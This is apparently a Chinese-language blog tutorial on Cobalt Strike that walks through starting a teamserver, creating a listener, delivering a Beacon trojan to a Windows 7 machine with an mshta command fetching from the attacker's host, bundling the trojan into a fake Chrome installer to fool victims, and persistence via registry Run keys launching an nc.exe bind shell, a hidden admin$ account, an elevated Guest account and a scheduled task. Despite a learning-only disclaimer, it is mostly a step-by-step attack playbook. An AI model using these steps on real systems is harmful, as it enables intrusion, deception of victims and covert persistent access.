本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
Cobalt Strike(简称CS)是一款团队作战渗透测试神器,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端。
CS主要是用来后期持久渗透、横向移动、流量隐藏、数据窃取的工具。当已经在目标机器上执行了CS的payload(有效载荷/攻击模块/攻击方式),它会创建一个 Beacon(远控木马功能)回连到 C2 服务器。
C2:Command & Control server的简称,也就是命令与控制服务器
最核心的就是 teamserver 和 cobaltstrike.jar,分别是服务端和客户端
在 cs4.0目录下新建终端,然后运行服务端teamserver
chmod +x teamserver # 给予服务端程序teamserver 执行权限(在linux中复制进来的文件默认是没有执行权限的)
ifconfig eth0 # 可以查看kali的IP地址(可选)
./teamserver 192.168.0.104 user # 运行服务端程序,192.168.0.104是本机IP,user 是要设置的连接密码(可改)
在 cs4.0目录下新建终端,输入如下命令运行客户端程序
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
新建配置文件,连接CS服务器
打开监听器配置
创建一个新的监听器 -> 填写监听器名称(随便写,不重复就行)-> 选择有效载荷/攻击模块/攻击方式
添加HTTP主机
添加要在开启监听的HTTP端口:0-65535 在这个取值范围中1023以下的端口已经分配给了常用的一些应用程序,建议往大的填,避免端口被占用(重复)--> 最后保存即可
最后在桌面上就能找到木马程序
http://192.168.0.104:10067/download/file.ext
我这里开了一台win7虚拟机(受害者)访问木马连接(注意:win7虚拟机要和kali连接同一个网络,不然两者无法通信)
测试win7和kali是否可以通信,使用命令:ping 目标IP地址(kali的ip)
在win7的虚拟机的cmd中输入命令: mshta http://192.168.0.104:10067/download/file.ext # 访问kali系统生成的木马文件,这是最基本的上线方式
当有目标主机以任何方式运行了生成的被控端,出现在主机列表。
选中要操作的目标主机 -> 鼠标右键-> 进入beacon(交互命令界面),在此使用 Beacon Commands对目标主机执行各种操作。
sleep 0 # 设置beacon延迟时间为0毫秒,默认是60秒也就是说60秒命令才会成效一次
也可以使用图形界面的方式更改延迟时间
shell ipconfig # 执行shell令,如果是在windows系统的命令行中我们要查看IP配置直接ipconfig 就可以了,但是在这里不行,要在前面加上shell
这个木马文件别人一看都不知道这是啥?都不会下载运行,所以我们要把木马文件和其它软件的安装包捆绑起来,让他们安装其它软件时就自动安装我们的木马
解压路径可以放到公用:C:\Users\Public
成功,捆绑软件
最后受害者运行我们制作的谷歌安装程序,我们在kali就能监听到
运行我们制作的程序一样是可以安装谷歌,所以一般人是不会怀疑的
kali这边就能监听到
写一些内容,最后保存文件
HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\Currentversion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Policies\Explorer\Run
注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别:前者对所有用户有效 ,后者对只对当前用户有效
upload nc.exe C:\\windows\\system32
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d ‘C: \windows\system32\nc64.exe -Ldp 5555 -e cmd.exe’
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
隐藏用户:
net user admin$ 123456 /add && net localgroup administrators admin$ /add # admin$就是隐藏用户名,‘$’表示隐藏,123456是用户密码,&& 后面跟着的命令是把admin$这个用品那个号加入到管理组,让他拥有管理员权限
激活 Guest 用户:(来宾用户默认是没有激活的)
net user guest Admin@hacker && net localgroup administrators guest /add
net user guest /active:yes
计划任务
schtasks /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\mx\5555.exe /tn test